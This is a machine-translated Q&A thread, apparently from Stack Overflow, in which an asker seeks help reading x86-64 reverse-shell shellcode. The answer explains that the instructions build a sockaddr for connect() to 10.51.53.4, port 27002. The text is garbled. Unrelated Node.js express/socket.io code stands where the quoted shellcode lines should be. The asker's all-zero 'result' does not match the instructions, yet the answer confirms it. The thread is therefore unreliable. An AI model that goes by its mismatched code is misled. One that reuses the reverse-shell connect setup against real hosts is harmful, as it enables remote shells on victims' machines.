x86 64反向shell shellcode

时间:2017-07-04 22:49:01

标签: shellcode

我正在寻找来自this链接的反向shell shellcode。我无法按照shellcode中以下说明的原因进行操作:

var app = express();
var server = app.listen(3000);
var io = require('socket.io')(server);

我搜索了其他SO问题,我发现BYTE / WORD / DWORD PTR将用于分配字节/字/双字。由于这个x86 64,我假设WORD在这里意味着2个字节而DWORD意味着4个字节(如果我错了,请纠正我)。 作者在堆栈上推零。然后他有3个mov指令。 假设RSP最初指向:

4000a3:   4d 31 d2                xor    r10,r10
4000a6:   41 52                   push   r10
4000a8:   c6 04 24 02             mov    BYTE PTR [rsp],0x2
4000ac:   66 c7 44 24 02 7a 69    mov    WORD PTR [rsp+0x2],0x697a
4000b3:   c7 44 24 04 0a 33 35    mov    DWORD PTR [rsp+0x4],0x435330a
4000ba:   04 
4000bb:   48 89 e6                mov    rsi,rsp

1)以下是三个mov指令的效果(假设是小端)?

x00 x00 x00 x00 x00 x00 x00 x00

2)如果是,那么作者是通过它实现了什么,因为下一个mov指令是否覆盖了rsp指向的内容?

由于

1 个答案:

答案 0 :(得分:1)

1)是

2)作者正在为socket connect syscall

保存sockaddr
       int connect(int sockfd, const struct sockaddr *addr,
               socklen_t addrlen);

在x86-64中,参数是寄存器 rdi,rsi和rdx 。所以,他正在将指针 addr 指针移动到 rsi 寄存器。

 mov    BYTE PTR [rsp],0x2              ; Family Address (PF_INET)
 mov    WORD PTR [rsp+0x2],0x697a       ; port = 27002
 mov    DWORD PTR [rsp+0x4],0x435330a   ; addr = 10.51.53.4 (0a333504)